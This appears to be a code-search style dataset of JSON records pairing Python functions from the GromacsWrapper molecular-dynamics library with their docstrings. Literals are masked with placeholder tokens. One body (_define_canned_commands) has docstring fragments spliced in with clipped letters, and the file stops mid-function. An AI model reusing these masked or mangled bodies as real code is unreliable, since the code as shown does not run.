{"signature": "def commandline(self, **mpiargs):", "body": "cmd = self.MDRUN.commandline()<EOL>if self.mpiexec:<EOL><INDENT>cmd = self.mpicommand(**mpiargs) + cmd<EOL><DEDENT>return cmd<EOL>", "docstring": "Returns simple command line to invoke mdrun.\n\n        If :attr:`mpiexec` is set then :meth:`mpicommand` provides the mpi\n        launcher command that prefixes the actual ``mdrun`` invocation:\n\n           :attr:`mpiexec` [*mpiargs*]  :attr:`mdrun` [*mdrun-args*]\n\n        The *mdrun-args* are set on initializing the class. Override\n        :meth:`mpicommand` to fit your system if the simple default\n        OpenMP launcher is not appropriate.", "id": "f6862:c0:m1"}
{"signature": "def mpicommand(self, *args, **kwargs):", "body": "if self.mpiexec is None:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>ncores = kwargs.pop('<STR_LIT>', <NUM_LIT:8>)<EOL>return [self.mpiexec, '<STR_LIT>', str(ncores)]<EOL>", "docstring": "Return a list of the mpi command portion of the commandline.\n\n        Only allows primitive mpi at the moment:\n           *mpiexec* -n *ncores* *mdrun* *mdrun-args*\n\n        (This is a primitive example for OpenMP. Override it for more\n        complicated cases.)", "id": "f6862:c0:m2"}
{"signature": "def prehook(self, **kwargs):", "body": "return<EOL>", "docstring": "Called directly before launching the process.", "id": "f6862:c0:m3"}
{"signature": "def posthook(self, **kwargs):", "body": "return<EOL>", "docstring": "Called directly after the process terminated (also if it failed).", "id": "f6862:c0:m4"}
{"signature": "def run(self, pre=None, post=None, mdrunargs=None, **mpiargs):", "body": "if pre is None:<EOL><INDENT>pre = {}<EOL><DEDENT>if post is None:<EOL><INDENT>post = {}<EOL><DEDENT>if mdrunargs is not None:<EOL><INDENT>try:<EOL><INDENT>self.MDRUN.gmxargs.update(mdrunargs)<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>msg = \"<STR_LIT>\".format(mdrunargs)<EOL>logger.error(msg)<EOL>raise<EOL><DEDENT><DEDENT>cmd = self.commandline(**mpiargs)<EOL>with utilities.in_dir(self.dirname, create=False):<EOL><INDENT>try:<EOL><INDENT>self.prehook(**pre)<EOL>logger.info(\"<STR_LIT:U+0020>\".join(cmd))<EOL>rc = subprocess.call(cmd)<EOL><DEDENT>except:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>self.posthook(**post)<EOL><DEDENT><DEDENT>if rc == <NUM_LIT:0>:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(rc))<EOL><DEDENT>else:<EOL><INDENT>logger.critical(\"<STR_LIT>\".format(rc))<EOL><DEDENT>return rc<EOL>", "docstring": "Execute the mdrun command (possibly as a MPI command) and run the simulation.\n\n        :Keywords:\n          *pre*\n             a dictionary containing keyword arguments for the :meth:`prehook`\n          *post*\n             a dictionary containing keyword arguments for the :meth:`posthook`\n          *mdrunargs*\n             a dictionary with keyword arguments for :program:`mdrun` which supersede\n             **and update** the defaults given to the class constructor\n          *mpiargs*\n             all other keyword arguments that are processed by :meth:`mpicommand`", "id": "f6862:c0:m5"}
{"signature": "def run_check(self, **kwargs):", "body": "rc = None   <EOL>try:<EOL><INDENT>rc = self.run(**kwargs)<EOL><DEDENT>except:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT>status = self.check_success()<EOL>if status:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL><DEDENT>return status<EOL>", "docstring": "Run :program:`mdrun` and check if run completed when it finishes.\n\n        This works by looking at the mdrun log file for 'Finished\n        mdrun on node'. It is useful to implement robust simulation\n        techniques.\n\n        :Arguments:\n           *kwargs* are keyword arguments that are passed on to\n           :meth:`run` (typically used for mpi things)\n\n        :Returns:\n           - ``True`` if run completed successfully\n           - ``False`` otherwise", "id": "f6862:c0:m6"}
{"signature": "def check_success(self):", "body": "return check_mdrun_success(self.logname)<EOL>", "docstring": "Check if :program:`mdrun` finished successfully.\n\n        (See :func:`check_mdrun_success` for details)", "id": "f6862:c0:m7"}
{"signature": "def prehook(self, **kwargs):", "body": "cmd = ['<STR_LIT>', '<STR_LIT>']<EOL>logger.info(\"<STR_LIT>\"+\"<STR_LIT:U+0020>\".join(cmd))<EOL>rc = subprocess.call(cmd)<EOL>return rc<EOL>", "docstring": "Launch local smpd.", "id": "f6862:c3:m0"}
{"signature": "def posthook(self, **kwargs):", "body": "cmd = ['<STR_LIT>', '<STR_LIT>']<EOL>logger.info(\"<STR_LIT>\"+\"<STR_LIT:U+0020>\".join(cmd))<EOL>rc = subprocess.call(cmd)<EOL>return rc<EOL>", "docstring": "Shut down smpd", "id": "f6862:c3:m1"}
{"signature": "def _define_canned_commands():", "body": "global trj_compact, rmsd_backbone, trj_fitted, trj_xyfitted<EOL>trj_compact = tools.Trjconv(ur='<STR_LIT>', center=True, boxcenter='<STR_LIT>', pbc='<STR_LIT>',<EOL>input=('<STR_LIT>','<STR_LIT>'),<EOL>doc=\"\"\"<STR_LIT>\"\"\")<EOL>rmsd_backbone = tools.G_rms(what='<STR_LIT>', fit='<STR_LIT>',<EOL>input=('<STR_LIT>','<STR_LIT>'),<EOL>doc=\"\"\"<STR_LIT>\"\"\")<EOL>trj_fitted = tools.Trjconv(fit='<STR_LIT>',<EOL>input=('<STR_LIT>', '<STR_LIT>'),<EOL>doc=\"\"\"<STR_LIT>\"\"\"<EOL>es a trajectory fitted to the protein in the XY-plane only.<EOL>is useful for membrane proteins. The system *must* be oriented so<EOL>the membrane is in the XY plane. The protein backbone is used<EOL>the least square fit, centering is done for the whole protein.<EOL>that centering together with fitting does not always work well<EOL>that one sometimes need two runs of trjconv: one to center and<EOL>to fit.<EOL>ote:: Gromacs <NUM_LIT>x only", "docstring": "Define functions for the top level name space.\n\n    Definitions are collected here so that they can all be wrapped in\n    a try-except block that avoids code failing when the Gromacs tools\n    are not available --- in some cases they are not necessary to use\n    parts of GromacsWrapper.\n\n    .. Note:: Any function defined here **must be listed in ``global``**!", "id": "f6863:m0"}
{"signature": "def trj_fitandcenter(xy=False, **kwargs):", "body": "if xy:<EOL><INDENT>fitmode = '<STR_LIT>'<EOL>kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>else:<EOL><INDENT>fitmode = kwargs.pop('<STR_LIT>', '<STR_LIT>')  <EOL><DEDENT>intrj = kwargs.pop('<STR_LIT:f>', None)<EOL>suffix = os.path.splitext(intrj)[<NUM_LIT:1>]<EOL>if not suffix in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>suffix = '<STR_LIT>'<EOL><DEDENT>outtrj = kwargs.pop('<STR_LIT:o>', None)<EOL>ndx = kwargs.pop('<STR_LIT:n>', None)<EOL>ndxcompact = kwargs.pop('<STR_LIT>', ndx)<EOL>structures = kwargs.pop('<STR_LIT:s>', None)<EOL>if type(structures) in (tuple, list):<EOL><INDENT>try:<EOL><INDENT>compact_structure, fit_structure = structures<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>compact_structure = fit_structure = structures<EOL><DEDENT>inpfit = kwargs.pop('<STR_LIT:input>', ('<STR_LIT>', '<STR_LIT>','<STR_LIT>'))<EOL>try:<EOL><INDENT>_inpcompact = inpfit[<NUM_LIT:1>:]     <EOL><DEDENT>except TypeError:<EOL><INDENT>_inpcompact = None<EOL><DEDENT>inpcompact = kwargs.pop('<STR_LIT>', _inpcompact)  <EOL>fd, tmptrj = tempfile.mkstemp(suffix=suffix, prefix='<STR_LIT>')<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>logger.debug(\"<STR_LIT>\".format(**vars()))<EOL>sys.stdout.flush()<EOL>try:<EOL><INDENT>gromacs.trjconv(s=compact_structure, f=intrj, o=tmptrj, n=ndxcompact,<EOL>ur='<STR_LIT>', center=True, boxcenter='<STR_LIT>', pbc='<STR_LIT>',<EOL>input=inpcompact, **kwargs)<EOL>kwargs['<STR_LIT>'] = \"<STR_LIT:none>\"<EOL>if compact_structure == fit_structure:<EOL><INDENT>gromacs.trjconv(s=fit_structure, f=tmptrj, o=outtrj, n=ndx, fit=fitmode, center=True, input=inpfit, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>inpfit = [inpfit[<NUM_LIT:0>], inpfit[-<NUM_LIT:1>]]<EOL>gromacs.trjconv(s=fit_structure, f=tmptrj, o=outtrj, n=ndx, fit=fitmode, input=inpfit, **kwargs)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>utilities.unlink_gmx(tmptrj)<EOL><DEDENT>", "docstring": "Center everything and make a compact representation (pass 1) and fit the system to a reference (pass 2).\n\n    :Keywords:\n       *s*\n           input structure file (tpr file required to make molecule whole);\n           if a list or tuple is provided then s[0] is used for pass 1 (should be a tpr)\n           and s[1] is used for the fitting step (can be a pdb of the whole system)\n\n           If a second structure is supplied then it is assumed that the fitted\n           trajectory should *not* be centered.\n       *f*\n           input trajectory\n       *o*\n           output trajectory\n       *input*\n           A list with three groups. The default is\n               ['backbone', 'protein','system']\n           The fit command uses all three (1st for least square fit,\n           2nd for centering, 3rd for output), the centered/make-whole stage use\n           2nd for centering and 3rd for output.\n       *input1*\n           If *input1* is supplied then *input* is used exclusively\n           for the fitting stage (pass 2) and *input1* for the centering (pass 1).\n       *n*\n           Index file used for pass 1 and pass 2.\n       *n1*\n           If *n1* is supplied then index *n1* is only used for pass 1\n           (centering) and *n* for pass 2 (fitting).\n       *xy* : boolean\n           If ``True`` then only do a rot+trans fit in the xy plane\n           (good for membrane simulations); default is ``False``.\n       *kwargs*\n           All other arguments are passed to :class:`~gromacs.tools.Trjconv`.\n\n    Note that here we first center the protein and create a compact box, using\n    ``-pbc mol -ur compact -center -boxcenter tric`` and write an intermediate\n    xtc. Then in a second pass we perform a rotation+translation fit (or\n    restricted to the xy plane if *xy* = ``True`` is set) on the intermediate\n    xtc to produce the final trajectory. Doing it in this order has the\n    disadvantage that the solvent box is rotating around the protein but the\n    opposite order (with center/compact second) produces strange artifacts\n    where columns of solvent appear cut out from the box---it probably means\n    that after rotation the information for the periodic boundaries is not\n    correct any more.\n\n    Most kwargs are passed to both invocations of\n    :class:`gromacs.tools.Trjconv` so it does not really make sense to use eg\n    *skip*; in this case do things manually.\n\n    By default the *input* to the fit command is ('backbone',\n    'protein','system'); the compact command always uses the second and third\n    group for its purposes or if this fails, prompts the user.\n\n    Both steps cannot performed in one pass; this is a known limitation of\n    ``trjconv``. An intermediate temporary XTC files is generated which should\n    be automatically cleaned up unless bad things happened.\n\n    The function tries to honour the input/output formats. For instance, if you\n    want trr output you need to supply a trr file as input and explicitly give\n    the output file also a trr suffix.\n\n    .. Note:: For big trajectories it can **take a very long time**\n              and consume a **large amount of temporary diskspace**.\n\n    We follow the `g_spatial documentation`_ in preparing the trajectories::\n\n       trjconv -s a.tpr -f a.xtc -o b.xtc -center -boxcenter tric -ur compact -pbc mol\n       trjconv -s a.tpr -f b.xtc -o c.xtc -fit rot+trans\n\n    .. _`g_spatial documentation`: http://www.gromacs.org/Documentation/Gromacs_Utilities/g_spatial", "id": "f6863:m1"}
{"signature": "def cat(prefix=\"<STR_LIT>\", dirname=os.path.curdir, partsdir=\"<STR_LIT>\", fulldir=\"<STR_LIT>\",<EOL>resolve_multi=\"<STR_LIT>\"):", "body": "gmxcat = {'<STR_LIT>': gromacs.trjcat,<EOL>'<STR_LIT>': gromacs.trjcat,<EOL>'<STR_LIT>': gromacs.eneconv,<EOL>'<STR_LIT>': utilities.cat,<EOL>}<EOL>def _cat(prefix, ext, partsdir=partsdir, fulldir=fulldir):<EOL><INDENT>filenames = glob_parts(prefix, ext)<EOL>if ext.startswith('<STR_LIT:.>'):<EOL><INDENT>ext = ext[<NUM_LIT:1>:]<EOL><DEDENT>outfile = os.path.join(fulldir, prefix + '<STR_LIT:.>' + ext)<EOL>if not filenames:<EOL><INDENT>return None<EOL><DEDENT>nonempty_files = []<EOL>for f in filenames:<EOL><INDENT>if os.stat(f).st_size == <NUM_LIT:0>:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(**vars()))<EOL>continue<EOL><DEDENT>if os.path.islink(f):<EOL><INDENT>errmsg = \"<STR_LIT>\"\"<STR_LIT>\" % vars()<EOL>logger.exception(errmsg)<EOL>raise NotImplementedError(errmsg)<EOL><DEDENT>shutil.move(f, partsdir)<EOL>nonempty_files.append(f)<EOL><DEDENT>filepaths = [os.path.join(partsdir, f) for f in nonempty_files]<EOL>gmxcat[ext](f=filepaths, o=outfile)<EOL>return outfile<EOL><DEDENT>_resolve_options = (\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if not resolve_multi in _resolve_options:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT>if fulldir == os.path.curdir:<EOL><INDENT>wmsg = \"<STR_LIT>\"<EOL>logger.warning(wmsg)<EOL>warnings.warn(wmsg, category=BadParameterWarning)<EOL><DEDENT>with utilities.in_dir(dirname, create=False):<EOL><INDENT>utilities.mkdir_p(partsdir)<EOL>utilities.mkdir_p(fulldir)<EOL>for ext in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>logger.info(\"<STR_LIT>\", vars())<EOL>outfile = _cat(prefix, ext, partsdir)<EOL>logger.info(\"<STR_LIT>\", vars())<EOL><DEDENT>for ext in ('<STR_LIT>', '<STR_LIT>'):              <EOL><INDENT>filenames = glob_parts(prefix, ext)<EOL>if len(filenames) == <NUM_LIT:0>:<EOL><INDENT>continue                        <EOL><DEDENT>elif len(filenames) == <NUM_LIT:1>:<EOL><INDENT>pick = filenames[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>if resolve_multi == \"<STR_LIT>\":<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", vars())<EOL>for f in filenames:<EOL><INDENT>shutil.move(f, partsdir)<EOL><DEDENT>continue                    <EOL><DEDENT>elif resolve_multi == \"<STR_LIT>\":<EOL><INDENT>pick = prefix + '<STR_LIT:.>' + ext<EOL>if not pick in filenames:<EOL><INDENT>pick = filenames[-<NUM_LIT:1>]  <EOL><DEDENT><DEDENT><DEDENT>final = os.path.join(fulldir, prefix + '<STR_LIT:.>' + ext)<EOL>shutil.copy(pick, final)  <EOL>for f in filenames:<EOL><INDENT>shutil.move(f, partsdir)<EOL><DEDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", vars())<EOL><DEDENT><DEDENT>partsdirpath = utilities.realpath(dirname, partsdir)<EOL>logger.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", vars())<EOL>", "docstring": "Concatenate all parts of a simulation.\n\n    The xtc, trr, and edr files in *dirname* such as prefix.xtc,\n    prefix.part0002.xtc, prefix.part0003.xtc, ... are\n\n       1) moved to the *partsdir* (under *dirname*)\n       2) concatenated with the Gromacs tools to yield prefix.xtc, prefix.trr,\n          prefix.edr, prefix.gro (or prefix.md) in *dirname*\n       3) Store these trajectories in *fulldir*\n\n    .. Note:: Trajectory files are *never* deleted by this function to avoid\n              data loss in case of bugs. You will have to clean up yourself\n              by deleting *dirname*/*partsdir*.\n\n              Symlinks for the trajectories are *not* handled well and\n              break the function. Use hard links instead.\n\n    .. Warning:: If an exception occurs when running this function then make\n                 doubly and triply sure where your files are before running\n                 this function again; otherwise you might **overwrite data**.\n                 Possibly you will need to manually move the files from *partsdir*\n                 back into the working directory *dirname*; this should onlu overwrite\n                 generated files so far but *check carefully*!\n\n    :Keywords:\n        *prefix*\n            deffnm of the trajectories [md]\n        *resolve_multi\"\n            how to deal with multiple \"final\" gro or pdb files: normally there should\n            only be one but in case of restarting from the checkpoint of a finished\n            simulation one can end up with multiple identical ones.\n              - \"pass\" : do nothing and log a warning\n              - \"guess\" : take prefix.pdb or prefix.gro if it exists, otherwise the one of\n                          prefix.partNNNN.gro|pdb with the highes NNNN\n        *dirname*\n            change to *dirname* and assume all tarjectories are located there [.]\n        *partsdir*\n             directory where to store the input files (they are moved out of the way);\n             *partsdir* must be manually deleted [parts]\n        *fulldir*\n             directory where to store the final results [full]", "id": "f6863:m2"}
{"signature": "def glob_parts(prefix, ext):", "body": "if ext.startswith('<STR_LIT:.>'):<EOL><INDENT>ext = ext[<NUM_LIT:1>:]<EOL><DEDENT>files = glob.glob(prefix+'<STR_LIT:.>'+ext) + glob.glob(prefix+'<STR_LIT>'+ext)<EOL>files.sort()   <EOL>return files<EOL>", "docstring": "Find files from a continuation run", "id": "f6863:m3"}
{"signature": "def grompp_qtot(*args, **kwargs):", "body": "qtot_pattern = re.compile('<STR_LIT>')<EOL>kwargs['<STR_LIT>'] = False<EOL>kwargs['<STR_LIT>'] = False<EOL>rc, output, error = grompp_warnonly(*args, **kwargs)<EOL>gmxoutput = \"<STR_LIT:\\n>\".join([x for x in [output, error] if x is not None])<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>logger.error(msg)<EOL>import sys<EOL>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.stderr.write(gmxoutput)<EOL>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.stderr.flush()<EOL>raise GromacsError(rc, msg)<EOL><DEDENT>qtot = <NUM_LIT:0><EOL>for line in gmxoutput.split('<STR_LIT:\\n>'):<EOL><INDENT>m = qtot_pattern.search(line)<EOL>if m:<EOL><INDENT>qtot = float(m.group('<STR_LIT>'))<EOL>break<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>return qtot<EOL>", "docstring": "Run ``gromacs.grompp`` and return the total charge of the  system.\n\n    :Arguments:\n       The arguments are the ones one would pass to :func:`gromacs.grompp`.\n    :Returns:\n       The total charge as reported\n\n    Some things to keep in mind:\n\n    * The stdout output of grompp is only shown when an error occurs. For\n      debugging, look at the log file or screen output and try running the\n      normal :func:`gromacs.grompp` command and analyze the output if the\n      debugging messages are not sufficient.\n\n    * Check that ``qtot`` is correct. Because the function is based on pattern\n      matching of the informative output of :program:`grompp` it can break when\n      the output format changes. This version recognizes lines like ::\n\n            '  System has non-zero total charge: -4.000001e+00'\n\n      using the regular expression\n      :regexp:`System has non-zero total charge: *(?P<qtot>[-+]?\\d*\\.\\d+([eE][-+]\\d+)?)`.", "id": "f6863:m4"}
{"signature": "def _mdp_include_string(dirs):", "body": "include_paths = [os.path.expanduser(p) for p in dirs]<EOL>return '<STR_LIT>'.join(['<STR_LIT>'] + include_paths)<EOL>", "docstring": "Generate a string that can be added to a mdp 'include = ' line.", "id": "f6863:m5"}
{"signature": "def add_mdp_includes(topology=None, kwargs=None):", "body": "if kwargs is None:<EOL><INDENT>kwargs = {}<EOL><DEDENT>include_dirs = ['<STR_LIT:.>', '<STR_LIT:..>']      <EOL>if topology is not None:<EOL><INDENT>topology_dir = os.path.dirname(topology)<EOL>include_dirs.append(topology_dir)<EOL><DEDENT>include_dirs.extend(asiterable(kwargs.pop('<STR_LIT>', [])))  <EOL>kwargs.setdefault('<STR_LIT>', _mdp_include_string(include_dirs))<EOL>return kwargs<EOL>", "docstring": "Set the mdp *include* key in the *kwargs* dict.\n\n    1. Add the directory containing *topology*.\n    2. Add all directories appearing under the key *includes*\n    3. Generate a string of the form \"-Idir1 -Idir2 ...\" that\n       is stored under the key *include* (the corresponding\n       mdp parameter)\n\n    By default, the directories ``.`` and ``..`` are also added to the\n    *include* string for the mdp; when fed into\n    :func:`gromacs.cbook.edit_mdp` it will result in a line such as ::\n\n      include = -I. -I.. -I../topology_dir ....\n\n    Note that the user can always override the behaviour by setting\n    the *include* keyword herself; in this case this function does\n    nothing.\n\n    If no *kwargs* were supplied then a dict is generated with the\n    single *include* entry.\n\n    :Arguments:\n       *topology* : top filename\n          Topology file; the name of the enclosing directory is added\n          to the include path (if supplied) [``None``]\n       *kwargs* : dict\n          Optional dictionary of mdp keywords; will be modified in place.\n          If it contains the *includes* keyword with either a single string\n          or a list of strings then these paths will be added to the\n          include statement.\n    :Returns: *kwargs* with the *include* keyword added if it did not\n              exist previously; if the keyword already existed, nothing\n              happens.\n\n    .. Note:: The *kwargs* dict is **modified in place**. This\n              function is a bit of a hack. It might be removed once\n              all setup functions become methods in a nice class.", "id": "f6863:m6"}
{"signature": "def filter_grompp_options(**kwargs):", "body": "grompp_options = ('<STR_LIT:f>','<STR_LIT>','<STR_LIT:c>','<STR_LIT:r>','<STR_LIT:rb>','<STR_LIT:n>','<STR_LIT:p>','<STR_LIT>','<STR_LIT:o>','<STR_LIT:t>','<STR_LIT:e>',  <EOL>'<STR_LIT:h>', '<STR_LIT>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:v>', '<STR_LIT>',<EOL>'<STR_LIT:time>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>grompp = dict((k,v) for k,v in kwargs.items() if k in grompp_options)<EOL>other =  dict((k,v) for k,v in kwargs.items() if k not in grompp_options)<EOL>return grompp, other<EOL>", "docstring": "Returns one dictionary only containing valid :program:`grompp` options and everything else.\n\n    Option list is hard coded and nased on :class:`~gromacs.tools.grompp` 4.5.3.\n\n    :Returns: ``(grompp_dict, other_dict)``\n\n    .. versionadded:: 0.2.4", "id": "f6863:m7"}
{"signature": "def create_portable_topology(topol, struct, **kwargs):", "body": "_topoldir, _topol = os.path.split(topol)<EOL>processed = kwargs.pop('<STR_LIT>', os.path.join(_topoldir, '<STR_LIT>'+_topol))<EOL>grompp_kwargs, mdp_kwargs = filter_grompp_options(**kwargs)<EOL>mdp_kwargs = add_mdp_includes(topol, mdp_kwargs)<EOL>with tempfile.NamedTemporaryFile(suffix='<STR_LIT>') as mdp:<EOL><INDENT>mdp.write('<STR_LIT>'.format(**mdp_kwargs))<EOL>mdp.flush()<EOL>grompp_kwargs['<STR_LIT:p>'] = topol<EOL>grompp_kwargs['<STR_LIT>'] = processed<EOL>grompp_kwargs['<STR_LIT:f>'] =  mdp.name<EOL>grompp_kwargs['<STR_LIT:c>'] = struct<EOL>grompp_kwargs['<STR_LIT:v>'] = False<EOL>try:<EOL><INDENT>gromacs.grompp(**grompp_kwargs)<EOL><DEDENT>finally:<EOL><INDENT>utilities.unlink_gmx('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>return utilities.realpath(processed)<EOL>", "docstring": "Create a processed topology.\n\n    The processed (or portable) topology file does not contain any\n    ``#include`` statements and hence can be easily copied around. It\n    also makes it possible to re-grompp without having any special itp\n    files available.\n\n    :Arguments:\n      *topol*\n          topology file\n      *struct*\n          coordinat (structure) file\n\n    :Keywords:\n      *processed*\n          name of the new topology file; if not set then it is named like\n          *topol* but with ``pp_`` prepended\n      *includes*\n          path or list of paths of directories in which itp files are\n          searched for\n      *grompp_kwargs**\n          other options for :program:`grompp` such as ``maxwarn=2`` can\n          also be supplied\n\n    :Returns: full path to the processed topology", "id": "f6863:m8"}
{"signature": "def get_volume(f):", "body": "fd, temp = tempfile.mkstemp('<STR_LIT>')<EOL>try:<EOL><INDENT>rc,out,err = gromacs.editconf(f=f, o=temp, stdout=False)<EOL><DEDENT>finally:<EOL><INDENT>os.unlink(temp)<EOL><DEDENT>return [float(x.split()[<NUM_LIT:1>]) for x in out.splitlines()<EOL>if x.startswith('<STR_LIT>')][<NUM_LIT:0>]<EOL>", "docstring": "Return the volume in nm^3 of structure file *f*.\n\n    (Uses :func:`gromacs.editconf`; error handling is not good)", "id": "f6863:m9"}
{"signature": "def edit_mdp(mdp, new_mdp=None, extend_parameters=None, **substitutions):", "body": "if new_mdp is None:<EOL><INDENT>new_mdp = mdp<EOL><DEDENT>if extend_parameters is None:<EOL><INDENT>extend_parameters = ['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>extend_parameters = list(asiterable(extend_parameters))<EOL><DEDENT>substitutions = {k: v for k,v in substitutions.items() if v is not None}<EOL>params = list(substitutions.keys())   <EOL>def demangled(p):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return p.replace('<STR_LIT:_>', '<STR_LIT>')  <EOL><DEDENT>patterns = {parameter:<EOL>re.compile(\"\"\"<STR_LIT>\"\"\".format(demangled(parameter)), re.VERBOSE)<EOL>for parameter in substitutions}<EOL>with tempfile.TemporaryFile() as target:<EOL><INDENT>with open(mdp, '<STR_LIT:rb>') as src:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(mdp, substitutions.keys()))<EOL>for line in src:<EOL><INDENT>line = line.decode('<STR_LIT:utf-8>')<EOL>new_line = line.strip()  <EOL>for p in params[:]:<EOL><INDENT>m = patterns[p].match(new_line)<EOL>if m:<EOL><INDENT>if m.group('<STR_LIT>') is None:<EOL><INDENT>comment = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>comment = \"<STR_LIT:U+0020>\"+m.group('<STR_LIT>')<EOL><DEDENT>assignment = m.group('<STR_LIT>')<EOL>if not assignment.endswith('<STR_LIT:U+0020>'):<EOL><INDENT>assignment += '<STR_LIT:U+0020>'<EOL><DEDENT>new_line = assignment<EOL>if p in extend_parameters:<EOL><INDENT>new_line += str(m.group('<STR_LIT:value>')) + '<STR_LIT:U+0020>'<EOL><DEDENT>value = \"<STR_LIT:U+0020>\".join(map(str, asiterable(substitutions[p])))<EOL>new_line += value + comment<EOL>params.remove(p)<EOL>break<EOL><DEDENT><DEDENT>target.write((new_line+'<STR_LIT:\\n>').encode('<STR_LIT:utf-8>'))<EOL><DEDENT><DEDENT>target.seek(<NUM_LIT:0>)<EOL>with open(new_mdp, '<STR_LIT:wb>') as final:<EOL><INDENT>shutil.copyfileobj(target, final)<EOL><DEDENT><DEDENT>if len(params) > <NUM_LIT:0>:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>return {p: substitutions[p] for p in params}<EOL>", "docstring": "Change values in a Gromacs mdp file.\n\n    Parameters and values are supplied as substitutions, eg ``nsteps=1000``.\n\n    By default the template mdp file is **overwritten in place**.\n\n    If a parameter does not exist in the template then it cannot be substituted\n    and the parameter/value pair is returned. The user has to check the\n    returned list in order to make sure that everything worked as expected. At\n    the moment it is not possible to automatically append the new values to the\n    mdp file because of ambiguities when having to replace dashes in parameter\n    names with underscores (see the notes below on dashes/underscores).\n\n    If a parameter is set to the value ``None`` then it will be ignored.\n\n    :Arguments:\n        *mdp* : filename\n            filename of input (and output filename of ``new_mdp=None``)\n        *new_mdp* : filename\n            filename of alternative output mdp file [None]\n        *extend_parameters* : string or list of strings\n            single parameter or list of parameters for which the new values\n            should be appended to the existing value in the mdp file. This\n            makes mostly sense for a single parameter, namely 'include', which\n            is set as the default. Set to ``[]`` to disable. ['include']\n        *substitutions*\n            parameter=value pairs, where parameter is defined by the Gromacs\n            mdp file; dashes in parameter names have to be replaced by\n            underscores. If a value is a list-like object then the items are\n            written as a sequence, joined with spaces, e.g. ::\n\n               ref_t=[310,310,310] --->  ref_t = 310 310 310\n\n    :Returns:\n        Dict of parameters that have *not* been substituted.\n\n    **Example** ::\n\n       edit_mdp('md.mdp', new_mdp='long_md.mdp', nsteps=100000, nstxtcout=1000, lincs_iter=2)\n\n    .. Note::\n\n       * Dashes in Gromacs mdp parameters have to be replaced by an underscore\n         when supplied as python keyword arguments (a limitation of python). For example\n         the MDP syntax is  ``lincs-iter = 4`` but the corresponding  keyword would be\n         ``lincs_iter = 4``.\n       * If the keyword is set as a dict key, eg ``mdp_params['lincs-iter']=4`` then one\n         does not have to substitute.\n       * Parameters *aa_bb* and *aa-bb* are considered the same (although this should\n         not be a problem in practice because there are no mdp parameters that only\n         differ by a underscore).\n       * This code is more compact in ``Perl`` as one can use ``s///`` operators:\n         ``s/^(\\s*${key}\\s*=\\s*).*/$1${val}/``\n\n    .. SeeAlso:: One can also load the mdp file with\n                :class:`gromacs.formats.MDP`, edit the object (a dict), and save it again.", "id": "f6863:m10"}
{"signature": "def edit_txt(filename, substitutions, newname=None):", "body": "if newname is None:<EOL><INDENT>newname = filename<EOL><DEDENT>_substitutions = [{'<STR_LIT>': re.compile(str(lRE)),<EOL>'<STR_LIT>': re.compile(str(sRE)),<EOL>'<STR_LIT>': repl}<EOL>for lRE,sRE,repl in substitutions if repl is not None]<EOL>with tempfile.TemporaryFile() as target:<EOL><INDENT>with open(filename, '<STR_LIT:rb>') as src:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(filename, len(substitutions)))<EOL>for line in src:<EOL><INDENT>line = line.decode(\"<STR_LIT:utf-8>\")<EOL>keep_line = True<EOL>for subst in _substitutions:<EOL><INDENT>m = subst['<STR_LIT>'].match(line)<EOL>if m:              <EOL><INDENT>logger.debug('<STR_LIT>'+line.rstrip())<EOL>if subst['<STR_LIT>'] is False:   <EOL><INDENT>keep_line = False<EOL><DEDENT>else:                        <EOL><INDENT>line = subst['<STR_LIT>'].sub(str(subst['<STR_LIT>']), line)<EOL>logger.debug('<STR_LIT>'+line.rstrip())<EOL><DEDENT><DEDENT><DEDENT>if keep_line:<EOL><INDENT>target.write(line.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\", line)<EOL><DEDENT><DEDENT><DEDENT>target.seek(<NUM_LIT:0>)<EOL>with open(newname, '<STR_LIT:wb>') as final:<EOL><INDENT>shutil.copyfileobj(target, 